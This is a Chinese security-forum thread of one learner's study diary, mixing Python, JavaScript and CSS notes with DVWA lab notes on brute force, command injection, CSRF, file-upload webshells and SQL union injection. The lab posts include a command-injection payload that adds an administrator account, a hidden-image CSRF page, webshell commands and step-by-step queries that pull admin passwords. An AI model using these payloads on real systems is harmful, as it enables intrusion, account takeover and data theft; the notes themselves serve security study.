安全矩阵

 找回密码
 立即注册
搜索
楼主: Pluto

李佳瑞学习日记

[复制链接]

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-21 23:22:28 | 显示全部楼层
import socket
def send_windows_udp():    """向windows 网络调试助手发送数据"""    # 1 创建套接字    # 参数的介绍 socket.AF_INET:ipv4,   socket.SOCK_DGRAM:udp    socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 准备发送的内容和地址
# 注意windows的网络调试助手接收的编码类型为gbk
send_data = '我第一次发送数据!!!!!'.encode('gbk')

# 必须是元祖 前面的是ip 后面的是port
address = ('192.168.1.11', 9999)

# 2 发送数据
socket_udp.sendto(send_data, address)

# 3 接收数据

# 4 关闭套接字
socket_udp.close()
def send_ubuntu_udp():    """向ubuntu 网络调试助手发送数据"""    # 1 创建套接字    # 参数的介绍 socket.AF_INET:ipv4,   socket.SOCK_DGRAM:udp    socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 准备发送的内容和地址
# 注意ubuntu的网络调试助手接收的编码类型为utf-8
send_data = '我第一次发送数据!!!!!'.encode('utf-8')

# 必须是元祖 前面的是ip 后面的是port
address = ('192.168.25.140', 22222)

# 2 发送数据
socket_udp.sendto(send_data, address)

# 3 接收数据

# 4 关闭套接字
socket_udp.close()
if name == 'main':    send_ubuntu_udp()

测试数据str->bytesbytes->strstr - >bytestest_str = '我是文本数据'encoding_str = test_str.encode('gbk')print(type(test_str))print('-----------')# 现在的encoding_str是给电脑看的, 我们想要识别必须解码print('encoding_str:%s' % encoding_str)print(type(encoding_str))
bytes_data = b'\xce\xd2\xca\xc7\xce\xc4\xb1\xbe\xca\xfd\xbe\xdd'
解码的方法 decode() 编码和解码的类型必须一致decoding_str = encoding_str.decode('gbk')print('decoding_str:%s' % decoding_str)
decode_str = bytes_data.decode('gbk')print('bytes_data:%s' % bytes_data)print('-----')print(decode_str)

使用socket 发送和接收数据
from socket import *
创建套接字
socket_udp = socket(AF_INET, SOCK_DGRAM)
准备数据
data = "第二次发送的udp数据".encode('gbk')address = ('192.168.1.11', 9999)
可以指定端口、也可以不指定如果不绑定端口,操作系统会随机分配一个,如果重新运行它的端口会发生改变如果绑定成功操作系统不会帮我们去分配会使用我们指定的
socket_udp.bind(('', 12345))  # ip一般我们不指定,表示电脑的任意一个ip都行
发送数据
socket_udp.sendto(data, address)
接收数据 接收数据的时候可以指定接收数据的大小 4096recv_data,  ip_pot = socket_udp.recvfrom(4096)  # 接收数据的方式拆包print(recv_data.decode('gbk'))print(ip_pot)
recv_data = socket_udp.recvfrom(4096)[0].decode('gbk')ip_pot = socket_udp.recvfrom(4096)[1]print(recv_data)print(ip_pot)
关闭套接字
socket_udp.close()


在网络通信过程中 为什么用ip和port为了能够将一个复杂的通信过程进行任务划分, 从而保证数据准确的传递
"""
  • 在一个电脑中编写1个程序,有2个功能
  • 1.获取键盘数据input,并将其发送给对方 send_to
  • 2.接收数据并显示 recvfrom
  • 并且功能数据进行选择以上的2个功能调用"""

from socket import *
def send_data(socket_udp):    """发送数据的函数"""    data = input('请输入您要发送的内容').encode('gbk')    address = ('192.168.1.11', 9999)    socket_udp.sendto(data, address)
def recv_data(socket_udp):    """接收数据的函数"""    recv_data, ip_port = socket_udp.recvfrom(4096)  # 接收数据的方式拆包    print(recv_data.decode('gbk'), ip_port)
def run():    socket_udp = socket(AF_INET, SOCK_DGRAM)    # 不绑定端口,程序找不到会报错    socket_udp.bind(('', 54321))    while True:        print('=' * 20)        print('1:发送数据')        print('2:接收数据')        print('=' * 20)        num = input('请输入您的选择序号')        if num == '1':            # 执行发送数据的任务            send_data(socket_udp)        elif num == '2':            # 接收数据并显示            recv_data(socket_udp)        else:            print('输入错误')            break
if name == 'main':    run()

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-22 21:20:05 | 显示全部楼层
今天复习了一下 python的类的方法
旧/经典 不推荐格式class 类名:passclass Person:"""我是经典的类"""pass新式类class Person(object):pass创建了一个对象person = Person()  # 对象名 = 类名()创建并且调用类的方法和属性
  1. class Dog(object):
  2.     """狗的一个类"""
  3. # 类的属性
  4. # name = '大黄狗'
  5. # age = 2

  6. def eat(self):
  7.     """类里面的方法"""
  8.     print('会吃')

  9. def info(self):
  10.     """打印对象信息的方法"""
  11.     print('名字:%s, 年龄:%s' % (self.name, self.age))
复制代码
# 创建对象dog = Dog()# 通过对象调用方法, 类里面的方法只有创建了对象才能调用dog.eat()查看类的属性print(dog.name)动态的添加属性 当程序云心的时候添加叫动态添加dog.age = 3print(dog.age)通过方法获得属性通过方法去获取属性dog.name = '旺财'dog.age = 3dog.info()一个类可以创建多个对象 根据实际需求创建
  1. <font size="3">wangcai = Dog()  # 创建名字为旺财的对象
  2. wangcai.name = '旺财'
  3. wangcai.age = 3
  4. wangcai.info()
  5. print('--分割线--')
  6. xiaoqiang = Dog()  # 创建名字为小强的对象
  7. xiaoqiang.name = "小强"
  8. xiaoqiang.age = 2
  9. xiaoqiang.info()</font>

复制代码

self的介绍和使用
  1. class Cat(object):
  2.     """关于毛的一个类"""
  3. name = '大猫'  # 属性

  4. def eat(self):  # 方法
  5.     print('%s的年龄是%s岁' % (self.name, self.age))
  6.     # print('%s的年龄是%s岁' % (cat2.name, cat2.age))
  7. <font size="3">cat = Cat()</font>
复制代码
修改属性(扩展)
  1. cat.name = "小猫"  # 对象.属性 =  你要修改的值
  2. cat.age = 3
  3. cat.eat()
  4. print('============')
  5. cat2 = Cat()
  6. cat2.age = 2
  7. cat2.eat()
复制代码



回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-23 23:34:43 | 显示全部楼层
init  方法
  1. class Cat(object):
  2. #  属性

  3. def __init__(self, name, age):
  4.     """魔法方法_初始化方法,只要创建对象就被调用"""
  5.     self.name = name
  6.     self.age = age

  7. def eat(self):
  8.     print('名字为:%s,年龄为:%s的猫在吃东西' % (self.name, self.age))
复制代码
创建对象,
  1. cat = Cat('小猫', 1)
  2. print(cat)
复制代码
str方法 对象的描述的方法
  1. class Cat(object):
  2.     """关于猫的类"""
复制代码
  1. def __init__(self, name, age):
  2.     """初始化方法"""
  3.     self.name = name
  4.     self.age = age

  5. def drink(self):
  6.     """喝水的方法"""
  7.     print('喝水的方法:名字:%s 年龄:%s' % (self.name, self.age))

  8. def __str__(self):
  9.     """__str__方法, 返回的是一个字符串,
  10.     只要在类里面定义了此方法那么它的返回值就是类的描述
  11.     如果不定义此方法那么就会返回类的<__main__.Cat object at 0x00A1F700>"""
  12.     return '关于猫的类,名字:%s 年龄:%s' % (self.name, self.age)

  13. def eat(self):
  14.     """吃的方法"""
  15.     print('吃饭的方法:名字:%s 年龄:%s' % (self.name, self.age))
复制代码
创建对象补存:类里面的方法执行的顺序是根据调用的顺序执行的,和定义的顺序无关
  1. cat = Cat("小猫", 2)
  2. print(cat)
  3. cat.eat()
  4. cat.drink()

复制代码





回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-24 23:52:41 | 显示全部楼层
js 中的event
  1. //  事件函数 : 事件对象、事件发生 - 过程(函数)-> event
  2.                 window.onload = function(ev) {
  3.                        
  4.                         alert(ev);
复制代码
//                                如果一个函数是被事件调用的那么,这个函数定义的第一个参数就是事件对象
  1.                         // 点击事件
  2.                 var btn = document.getElementById('btn');
  3.                 btn.onclick = function(ev) {  // 事件函数
  4.                        
  5.                         var ev = ev || event;
复制代码
  1.         alert("a");
  2.                 //  注意:事件对象、事件一般与函数连用,才有效果
  3.                        // 2、 event : 事件对象 必须在事件调用函数中才有内容;
  4.                 }
  5.                
  6.                         //  ie/谷歌中 : ev
  7.                         // 其他浏览器中 : event
复制代码
  1.         }
  2.                 //  函数的调用;
  3.                 sub();
  4.                
  5.         */       
复制代码
  1.         function fn1(ev) {
  2.                
  3.                 var ev = ev || event;
复制代码
  1. // 输出 事件对象内容
复制代码
//                        for(var attr in ev) {//                                //                                //                                console.log(attr + '=' + ev[attr]);//                        }//                                                alert(ev.clientX);                       

  1. }
  2.         // 事件函数
  3. document.onclick = fn1;
复制代码
  1. </script>
  2. </head>
  3. <body>
  4.         <input type="button" id="btn" value="按钮" />
  5. </body>
复制代码

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-25 22:51:20 | 显示全部楼层
#json

  json是一种数据格式,支持简单值,对象和数组,
  json中的所有的文本都需要用双引号引起来
  json 不支持函数

  js中的对象是无序属性的集合

  json数据的状态:
          序列化:把无序变成有序的状态   JSON.stringify()
          反序列化:把有序的变成无序的    JSON.parse()

          序列化选项:
                  JSON.stringify(a,b,c);

                  b=>array,制定序列化json数据中的哪几项
                  c=>string || number(<=10)  制定返回的数据以缩进的格式来显示

          反序列化选项:

                  JSON.parse(a,callback);
                  callback=>回掉函数,指定反序列化时候对json数据的处理例如:
  1. let obj={
  2.                 str:"str",
  3.                 num:1990,
  4.                 boo:false,
  5.                 nu:null,
  6.                 un:undefined,
  7.                 "o":{
  8.                         "name":"lisi"
  9.                 },
  10.                 a:["h","e"],
  11.                 func:function(){

  12.                 }
  13.         }

  14.         let str=JSON.stringify(obj,["o","name"],10);

  15.         console.log(str);
复制代码
  1. // let str=`{
  2.         //         "name":"xiaoli",
  3.         //         "birth":"1997-5-5"
  4.         // }`;

  5.         // let obj=JSON.parse(str,function(key,value){

  6.         //         return key=="birth"
  7.         //                         ? new Date(value)
  8.         //                         : value;
  9.                
  10.         // });

  11.         // console.log(obj.birth.getFullYear());
复制代码
  1.   // eval("console.log(11)");
复制代码


回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-6-30 23:49:34 | 显示全部楼层
Brute Force(暴力(破解))low
先利用神行浏览器和burp拦截抓包
将拦截的代码发送给intruder
里面  使用clear 清除
利用add   将接下来想要爆破的 用add  选中
选择第三个
paload set选择2

然后分别导入字典
最后点 即可

Command Injection(命令行注入)
基本就是通过插入命令行来完成注入
  • & 连接符  执行完第一个命令,执行第二个命令
  • && 只有上一个执行成功,才执行下一个命令
  • |  管道符  让前一命令的输出当做后一命令的输入,就是说前面命令的结果当做一个参数传递给后面命令处理
  • ||    只有上一个执行失败,才执行下一个命令

[backcolor=rgba(255, 255, 255, 0.9)]可以用连接符直接接net user zhangsan 123/add 创建用户 接着连接提权命令 net localgroup administrators zhangsan /add 拿下整个服务器

desc  降序
asc 升序
create database  py1 charset=utf8;
use py1;
create table students(
);
auto_increment自动增长
varchar()可变字符串  default''默认为空
enum()枚举类型

#却省参数
如果传递参数,使用我们传递的值
不使用,默认
def class_info(name,class_id=1):
    print('班级%s,姓名:%s'%(class_id,name))

class_info('二狗')
不定长参数
不知道用户要引入多少参数
元组() *args     字典{}
#不定长参数  元组() *args
def func(*args):
    print(args)

func(1,1,1,)
print('______________')
func(3,3,3,3,3)#字典{}
def func(**kwargs):
    #**kwargs以字典的形式传递参数
    print(kwargs)
func(name="python",age=30)
#普通参数 却省 不定长
def func(a,b=1,*args,**kwargs):
    print("a:%s"%a)
    print("b:%d"%b)
    print('args:%s'%args)
    for k,v in kwargs.items():
        print('k:%s'%v)
func('a',2,3,name='ooo',age=30)  #b = 2 本来是没有的
缺省参数应该在args后面不能放在前面,如果有kwargs,kwargs必须在最后面
输出

a:a
b:2
args:3
k :  o o o
k:30
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-1 22:20:01 | 显示全部楼层
本帖最后由 Pluto 于 2020-7-1 23:04 编辑

CSRF
1.概述
例如说手机上收到一条短信,点了一下,发现里面什么都没有,过了一活儿,银行短信来了,发现自己的钱不见了,这就是黑客利用CSRF漏洞造成的。

1.2.概念
CSRF
cross-site request forgery
跨站   请求  伪造

受害者角度
用户在当前已登录的WEB应用程序上执行非本意的操作

攻击者角度
攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作
2.漏洞实战
1.打开环境DVWA设置简单
修改密码
只要pass_new与pass_conf相同,就可以修改密码
http://localhost:8080/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
接下来可以搭建一个简单的钓鱼网站
  1. <head>
  2. </head>
  3. <body>
  4.         good image
  5.         </br>
  6.         <img src="http://192.168.48.39/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#>" width=0 height=0 border=0 />hi,this is funny</a>
  7.                 </tr>
  8.                 <br />
  9.         this is a demo!
  10. </body>
复制代码
文件上传

举例:
这里讲一个很有名的,千里之堤,溃于蚁穴,警示我们要注重细节,一只蚂蚁也能毁了堤坝,我们就是要将不起眼的蚂蚁送到这个堤坝上,这里堤坝就是网站,蚂蚁就是文件

概念:
Web中的常用功能,将本地文件上传到服务器上

文件上传漏洞,Web运行用户上传恶意代码,并在服务器上运行
文件上传类似代码:upload(“hello.php”),上传对应的是upload的函数,文件就是hello.php,文件就是我们可以控制的,我们要做的就是将我们设计好的文件上传上去
1.进入简单模式
进入File Upload,是文件上传漏洞的主界面,常见的上传图片的功能
2.面对陌生页面第一的反应就是试
网上随便找个图片,命名为test.jpg
3.上传这张图片
4.点了upload后
发现出现了红框里的字,意思是上传成功了


5.上传后的路径
我们研究一下这个路径,与我们的url进行对比
  1. url:
  2. <a href="http://localhost:8080/dvwa/vulnerabilities/upload/#">http://localhost:8080/dvwa/vulnerabilities/upload/#</a>
  3. 上传地址:
  4. <span style="color: red; font-size: 13px;">../../hackable/uploads/test.jpg succesfully uploaded!</span>
  5. 再进行拼接得到了完整的路径
  6. <a href="http://localhost:8080/dvwa/vulnerabilities/upload/#">http://localhost:8080/dvwa/vulnerabilities/upload</a>/../../hackable/uploads/test.jpg
  7. 再将../../做消除操作,得到链接
  8. http://localhost/dvwa/hackable/uploads/test.jpg
复制代码
6.我们再去访问一下这个图片7.尝试操作不正常的
在本地创建一个jerry.php文件,执行后是服务器的信息

8.将我们的jerry.php上传至服务器



9.访问看一下这个文件,成功执行,这里就说明存在文件上传漏洞,能够执行并查看文件
10.执行phpinfo只是判断漏洞的存在
上传一句话webshell
创建cmd.php

11.上传后访问文件
12.执行我们的命令
?cmd=phpinfo();


13.我们来查看一下系统命令
?=cmd=system(‘dir’); 运用到php的system函数

查看文件的操作
type命令,反斜杠需要转移的





文件包含
举例:
有个骗子卖东西,以次充好,以假乱真,这就是在三十六计里面的偷梁换柱
在文件包含漏洞里面的文件,把真正的文件调包换成我们的恶意文件,服务器却还不知道


概述:
文件包含其实就一种代码的处理方法,当一个代码文件想要引用另一个代码文件就会利用到包含,常见的函数有:include,require等,参数一般是代码文件名


文件名参数用户可控且过滤不严,被攻击者偷梁换柱
文件包含
  1. include("hello.php")
  2. include就是包含的意思,服务器端本身自带的
  3. hello.php文件是由攻击者控制的
复制代码




回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-3 01:08:23 | 显示全部楼层
SQL注入
一.判断网站url注入点
1.加入单引号 ’提交,
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2.数字型判断是否有注入;
语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
也就表明程序有注入漏洞
使用or 2>1 ; or 1>2来进行判断
  结果:分别返回不同的页面,说明存在注入漏洞.
  分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为
假。
   记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面
,说明存在注入点。
使用xor 1=1; xor 1=2
   结果:分别返回不同的页面,说明存在注入漏洞.
   分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
   记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
页面,说明存在注入点。
把and 1=1转换成URL编码形式后在提交
  and 1=1 URL编码:%41%4E%44%20%%31%3D%31
使用-1;-0
  分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在
URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的
页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
3.字符型判断是否有注入:
  语句:' and '1'=1;' and  '1=2(经典)
  结果:结果:分别返回不同的页面,说明存在注入漏洞.
  分析:加入' and '1'=1返回正确页面,加入' and  '1=2返回错误页面,说明有注入漏同。
  在URL的地址后面加上'%2B'(字符型)
  分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加
上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1
不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
4.搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
操作:
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了


二:判断字段数 order by 判断列数

构造 类似?id=1 and 1=1 order by 1判断
三:判断会显点      (union语句联合注入)
例如:构造 ?id=1 and 1=2 union select 1,2 回车,页面出现了  2  ,说明我们可以在数字  2  处显示我们想要的内容
第四步:查询相关内容
(摘要)
查询当前数据库名
构造 ?id=1 and 1=2 union select 1,database() 回车


查询当前数据库版本
构造 ?id=1 and 1=2 union select 1,version() 回车

查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车


绝大数情况下,管理员的账号密码都在admin表里

查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车


查出 admin 表里 有  id   username  password  三个字段

查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,password from admin  limit 1,1 回车


limit 1,1 没有回显,说明只有一个用户
构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1 回车


总体:
1.判断网站url注入点
2.判断网站的注入类型
3.获取网站数据库名-表名-列名-字段名
4.查询敏感信息
5.拖库或者通过注入获得SHELL

说明:
对于sql整形注入,我们可以一般都会使用union语句联合注入。union语句的作用主要就是将两个或者多个sql语句进行联合查询。当我们利用union联
合两个sql语句时,我们可以让前一个语句的选择查询出现错误或者为空,后面的sql语句为我们想执行的"恶意sql语句"。这样的话,sql在进行过程中,
会将union前一个语句所忽略掉,之后执行我们想执行的后一个语句,这样我们达到了sql注入语句的目的。
但union联合注入使用有着诸多限制:
select语句拥有相同数量的列。
列拥有相似的数据类型。
select语句列的顺序相同


BOM编程练习 焦点事件
  1. <!DOCTYPE html>
  2. <html>
  3.         <head>
  4.                 <meta charset="utf-8">
  5.                 <title></title>
  6.                 <script type="text/javascript">
  7.                         window.onload = function(){
  8.                                
  9.                                 //onfocus:焦点事件
  10.                                 var text1 = document.getElementsByTagName('input');
  11.                                 text1[0].onfocus = function(){
  12.                                         if(this.value == '请输入留言内容'){
  13.                                                 text1[0].value = '';
  14.                                         }
  15.                                 }
  16.                                 text1[0].onblur = function(){
  17.                                        
  18.                                         if(this.value == ''){
  19.                                                 text1[0].value = '请输入留言内容';
  20.                                         }
  21.                                 }
  22.                                 text1[0].focus();
  23.                         }
  24.                 </script>
  25.         </head>
  26.         <body style="width: 300px; margin: 10px;border:20px solid" >
  27.                 <input  style="width: 300px; height: 300px;" type="text" value="请输入留言内容"/>
  28.         </body>
  29. </html>
复制代码



回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-3 01:18:25 | 显示全部楼层
Python math库常用函数
math库常用函数及举例:
  • 注意:使用math库前,用import导入该库
    >>> import math
  • 取大于等于x的最小的整数值,如果x是一个整数,则返回x
    >>> math.ceil(4.12)
    5
  • 把y的正负号加到x前面,可以使用0
    >>> math.copysign(2,-3)
    -2.0
  • 求x的余弦,x必须是弧度
    >>> math.cos(math.pi/4)
    0.7071067811865476
  • 把x从弧度转换成角度
    >>> math.degrees(math.pi/4)
    45.0
  • e表示一个常量
    >>> math.e
    2.718281828459045
  • exp()返回math.e(其值为2.71828)的x次方
    >>> math.exp(2)
    7.38905609893065
  • expm1()返回math.e的x(其值为2.71828)次方的值减1
    >>> math.expm1(2)
    6.38905609893065
  • fabs()返回x的绝对值
    >>> math.fabs(-0.03)
    0.03
  • factorial()取x的阶乘的值
    >>> math.factorial(3)
    6
  • floor()取小于等于x的最大的整数值,如果x是一个整数,则返回自身
    >>> math.floor(4.999)
    4
  • fmod()得到x/y的余数,其值是一个浮点数
    >>> math.fmod(20,3)
    2.0
  • frexp()返回一个元组(m,e),其计算方式为:x分别除0.5和1,得到一个值的范围,2e的值在这个范围内,e取符合要求的最大整数值,然后x/(2e),得到m的值。如果x等于0,则m和e的值都为0,m的绝对值的范围为(0.5,1)之间,不包括0.5和1
    >>> math.frexp(75)
    (0.5859375, 7)
  • 对迭代器里的每个元素进行求和操作
    >>> math.fsum((1,2,3,4))
    10.0
  • 返回x和y的最大公约数
    >>> math.gcd(8,6)
    2
  • 得到(x2+y2),平方的值
    >>> math.hypot(3,4)
    5.0
  • isfinite()如果x不是无穷大的数字,则返回True,否则返回False
    >>> math.isfinite(0.1)
    True
  • isinf()如果x是正无穷大或负无穷大,则返回True,否则返回False
    >>> math.isinf(234)
    False
  • isnan()如果x不是数字True,否则返回False
    >>> math.isnan(23)
    False
  • ldexp()返回x*(2**i)的值
    >>> math.ldexp(5,5)
    160.0
  • log(x,a) 如果不指定a,则默认以e为基数,a参数给定时,将 x 以a为底的对数返回。
    >>> math.log(math.e)
    1.0
    >>> math.log(32,2)
    5.0
    >>>
  • log10()返回x的以10为底的对数
    >>> math.log(10)
    2.302585092994046
  • log2()返回x的基2对数
    >>> math.log2(32)
    5.0
  • modf()返回由x的小数部分和整数部分组成的元组
    >>> math.modf(math.pi)
    (0.14159265358979312, 3.0)
  • pi:数字常量,圆周率
    >>> print(math.pi)
    3.141592653589793
  • pow()返回x的y次方,即x**y
    >>> math.pow(3,4)
    81.0
  • radians()把角度x转换成弧度
    >>> math.radians(45)
    0.7853981633974483
  • sin()求x(x为弧度)的正弦值
    >>> math.sin(math.pi/4)
    0.7071067811865476
  • sqrt()求x的平方根
    >>> math.sqrt(100)
    10.0
  • tan()返回x(x为弧度)的正切值
    >>> math.tan(math.pi/4)
    0.9999999999999999
  • trunc()返回x的整数部分
    >>> math.trunc(6.789)




回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-3 01:31:39 | 显示全部楼层
摘:https://www.cnblogs.com/lvdongjie/p/8662190.htmlhtml 行内元素和块级元素
行内元素一般是内容的容器,而块级元素一般是其他容器的容器。一般情况下,行内元素只能包含内容或者其它行内元素,宽度和长度依据内容而定,不可以设置,可以和其它元素和平共处于一行;而块级元素可以包含行内元素和其它块级元素,且占据父元素的整个空间,可以设置 width 和 height 属性,浏览器通常会在块级元素前后另起一个新行。
因此,行内元素适合显示具体内容,而块级元素适合做布局。常用的行内和块级元素如下:
级别元素
行内元素a,b,strong,span,img,label,button,input,select,textarea
块级元素header,form,ul,ol,table,article,div,hr,aside,figure,canvas,video,audio,footer
之所以说“一般情况下”,是因为元素的级别不是一成不变的,浏览器是按照规范规定元素默认的级别,但是可以通过“display”属性改变其级别
常用的 display 值
常用的 display 可能的值如下:
值说明
inline以行内元素行为展示
block以块级元素行为展示
inline-block行内元素和块级元素特性兼而有之,既不会占满父元素,又可以设置width和height属性
table以表格的形式展示
table-cell以表格单元格的形式展示
table-row以表格行的形式展示
table-column以表格列的形式展示
flexCSS3 新增,虽然处于CR阶段,但是很多现代浏览器已经支持无前缀的该特性,IE从11开始部分支持。类似块级元素,但是可以用于制作自适应布局
inline-flex类似行内元素,但是可以用于制作自适应布局
gridCSS3 新增,目前处于“实验阶段(Experimental)”,只是得到了IE11和edge的部分支持行内元素 和 块级元素 盒模型区别
行内元素尺寸由内含的内容决定,盒模型中 padding, border 与块级元素并无差异,都是标准的盒模型,但是 margin 却只有水平方向的值,垂直方向并没有起作用。
块级元素当没有明确指定 width 和 height 值时,块级元素尺寸由内容确定,当指定了 width 和 height 的值时,内容超出块级元素的尺寸就会溢出,这时块级元素要呈现什么行为要看其 overflow 的值,下面会提到。块级元素的 padding, border 和标准的盒模型一致,但是如果 width + padding + border + 指定的margin 小于其父元素的宽度时,浏览器会通过补margin 来填满整行。
块级元素 与 overflow
块级元素当没有明确指定 width 和 height 值时,块级元素尺寸由内容确定,当指定了 width 和 height 的值时,内容超出规定的尺寸就会溢出,元素的尺寸并不会随着内容改变。这时候使用 overflow 可以指定内容超出时的行为,当然, overflow 只对块级元素起作用,指定当内容超出块级容器的时候,块级元素该如何处理内容的显示。overflow 可能的值如下表:
值说明
visible默认值,如果内容超出容器尺寸,不做任何处理
hidden超出的内容被截断并隐藏
scroll无论内容是否超出,总是显示滚动条。可以控制只显示一个方向的滚动条,这时应该设置 overflow-x 和 overflow-y
auto内容没有超出时,不显示滚动条;内容超出时,显示滚动条,且如果只有一个方向超出,那么只显示该方向上的滚动条
举个例子,html 结构是三个 DIV 元素,css 样式一样,只有 overflow 的值不同:
  1. <div class='block'>blockblockblock</div>
  2. <div class='block-hidden'>blockblockblock</div>
  3. <div class='block-auto'>blockblockblock</div>
复制代码
  1. .block{
  2.     height: 40px;
  3.     width: 100px;
  4.     font-size: 30px;
  5.     padding: 10px;
  6.     border: 6px solid rgb(120, 120, 120);
  7.     margin: 20px;
  8.     background-color: rgb(255, 0, 0);
  9. }
  10. .block-hidden{
  11.     height: 40px;
  12.     width: 100px;
  13.     font-size: 30px;
  14.     padding: 10px;
  15.     border: 6px solid rgb(120, 120, 120);
  16.     margin: 20px;
  17.     background-color: rgb(255, 0, 0);
  18.     overflow: hidden;
  19. }
  20. .block-auto{
  21.     height: 40px;
  22.     width: 100px;
  23.     font-size: 30px;
  24.     padding: 10px;
  25.     border: 6px solid rgb(120, 120, 120);
  26.     margin: 20px;
  27.     background-color: rgb(255, 0, 0);
  28.     overflow: auto;
  29. }
复制代码
最终,面对三种设置,效果是这样的。
总结
文章总结了行内元素和块级元素的区别,每个元素都可以通过 display 来设置行内还是块级显示,inline 和 block 是两种显示模型,浏览器对每个元素都要采用一种模型来呈现元素,上面我们提到的行内元素和块级元素分组,其实并不是它们天生就应该这样,而是浏览器按照规范指定了默认值,因此即使我们没有指定这些属性,那些元素仍然会按照其所属类别渲染呈现。通过display 可以改变元素对应的渲染呈现模型,也就是盒模型。当块级元素的内容超出容器时,使用 overflow 属性来指定块级元素的行为。
但凡涉及页面渲染呈现,都脱离不了与 CSS盒模型的关系,所以掌握盒模型是理解前端规范和浏览器行为的前提。display 属性各种值其实是不同的渲染呈现模型,包括新增的 flex 和 grid,后面的文章我们再分享看的 flex 布局是神马,它解决了什么痛点,为什么比较火









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 02:51 , Processed in 0.030016 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表